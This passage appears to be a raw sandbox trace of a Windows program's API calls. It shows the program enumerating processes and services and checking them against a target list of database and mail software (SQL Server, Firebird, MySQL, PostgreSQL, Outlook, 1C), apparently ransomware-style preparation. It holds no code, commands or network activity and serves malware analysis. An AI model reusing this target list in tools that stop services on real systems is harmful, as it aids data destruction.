(lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0048.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0048.028] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0048.028] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0048.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0048.028] lstrlenW (lpString="nsi") returned 3 [0048.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0048.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0048.028] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0048.028] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0048.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0048.028] lstrlenW (lpString="PcaSvc") returned 6 [0048.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0048.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0048.028] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0048.028] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0048.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0048.028] lstrlenW (lpString="PlugPlay") returned 8 [0048.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0048.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0048.028] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0048.028] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0048.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0048.028] lstrlenW (lpString="Power") returned 5 [0048.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0048.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0048.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0048.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0048.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0048.028] lstrlenW (lpString="ProfSvc") returned 7 [0048.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0048.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0048.029] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0048.029] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0048.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0048.029] lstrlenW (lpString="RpcEptMapper") returned 12 [0048.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.029] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0048.029] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0048.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0048.029] lstrlenW (lpString="RpcSs") returned 5 [0048.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0048.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0048.029] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0048.029] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0048.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0048.029] lstrlenW (lpString="SamSs") returned 5 [0048.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0048.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0048.029] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0048.029] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0048.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0048.029] lstrlenW (lpString="Schedule") returned 8 [0048.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0048.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0048.029] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0048.029] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0048.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0048.029] lstrlenW (lpString="SENS") returned 4 [0048.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0048.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0048.029] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0048.029] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0048.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0048.030] lstrlenW (lpString="ShellHWDetection") returned 16 [0048.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.030] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0048.030] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0048.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0048.030] lstrlenW (lpString="Spooler") returned 7 [0048.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0048.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0048.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0048.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0048.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0048.030] lstrlenW (lpString="swprv") returned 5 [0048.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0048.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0048.030] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0048.030] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0048.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0048.030] lstrlenW (lpString="SysMain") returned 7 [0048.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0048.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0048.030] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0048.030] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0048.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0048.030] lstrlenW (lpString="Themes") returned 6 [0048.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0048.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0048.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0048.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0048.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0048.030] lstrlenW (lpString="TrkWks") returned 6 [0048.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0048.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0048.030] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0048.030] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0048.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0048.031] lstrlenW (lpString="UxSms") returned 5 [0048.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0048.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0048.031] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0048.031] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0048.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0048.031] lstrlenW (lpString="VSS") returned 3 [0048.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0048.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0048.031] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0048.031] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0048.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0048.031] lstrlenW (lpString="WdiServiceHost") returned 14 [0048.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.031] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0048.031] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0048.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0048.031] lstrlenW (lpString="WdiSystemHost") returned 13 [0048.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.031] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0048.031] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0048.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0048.031] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0048.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.031] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0048.031] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0048.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0048.031] lstrlenW (lpString="Winmgmt") returned 7 [0048.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0048.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0048.031] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0048.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0048.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0048.032] lstrlenW (lpString="WPDBusEnum") returned 10 [0048.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.032] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0048.032] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0048.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0048.032] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0048.032] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fc [0048.035] Process32FirstW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.035] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0048.035] lstrlenW (lpString="System") returned 6 [0048.036] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0048.036] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0048.036] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0048.036] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0048.036] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0048.036] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0048.036] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0048.036] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0048.036] lstrlenW (lpString="smss.exe") returned 8 [0048.036] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0048.036] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0048.036] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0048.036] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0048.036] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0048.036] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0048.036] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0048.036] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.037] lstrlenW (lpString="csrss.exe") returned 9 [0048.037] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0048.037] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0048.037] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0048.037] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0048.037] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0048.037] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0048.037] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0048.037] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0048.037] lstrlenW (lpString="wininit.exe") returned 11 [0048.038] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0048.038] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0048.038] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0048.038] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.038] lstrlenW (lpString="csrss.exe") returned 9 [0048.038] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0048.039] lstrlenW (lpString="winlogon.exe") returned 12 [0048.039] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0048.039] lstrlenW (lpString="services.exe") returned 12 [0048.039] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0048.040] lstrlenW (lpString="lsass.exe") returned 9 [0048.040] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0048.040] lstrlenW (lpString="lsm.exe") returned 7 [0048.040] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.041] lstrlenW (lpString="svchost.exe") returned 11 [0048.041] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.041] lstrlenW (lpString="svchost.exe") returned 11 [0048.041] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.042] lstrlenW (lpString="svchost.exe") returned 11 [0048.042] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.042] lstrlenW (lpString="svchost.exe") returned 11 [0048.042] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.043] lstrlenW (lpString="svchost.exe") returned 11 [0048.043] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0048.043] lstrlenW (lpString="audiodg.exe") returned 11 [0048.043] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.044] lstrlenW (lpString="svchost.exe") returned 11 [0048.044] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.044] lstrlenW (lpString="svchost.exe") returned 11 [0048.044] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0048.045] lstrlenW (lpString="dwm.exe") returned 7 [0048.045] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0048.045] lstrlenW (lpString="explorer.exe") returned 12 [0048.045] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0048.046] lstrlenW (lpString="spoolsv.exe") returned 11 [0048.046] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.046] lstrlenW (lpString="taskhost.exe") returned 12 [0048.046] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.047] lstrlenW (lpString="svchost.exe") returned 11 [0048.047] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0048.047] lstrlenW (lpString="taskeng.exe") returned 11 [0048.047] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.048] lstrlenW (lpString="taskhost.exe") returned 12 [0048.048] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0048.048] lstrlenW (lpString="dear.exe") returned 8 [0048.048] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0048.049] lstrlenW (lpString="b costa.exe") returned 11 [0048.049] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0048.049] lstrlenW (lpString="rc lock.exe") returned 11 [0048.049] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0048.050] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0048.050] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0048.050] lstrlenW (lpString="hugown.exe") returned 10 [0048.050] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0048.051] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0048.051] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0048.051] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0048.051] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0048.052] lstrlenW (lpString="locked welsh.exe") returned 16 [0048.052] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0048.052] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0048.052] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0048.053] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0048.053] Process32NextW (in: hSnapshot=0x1fc, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0048.053] 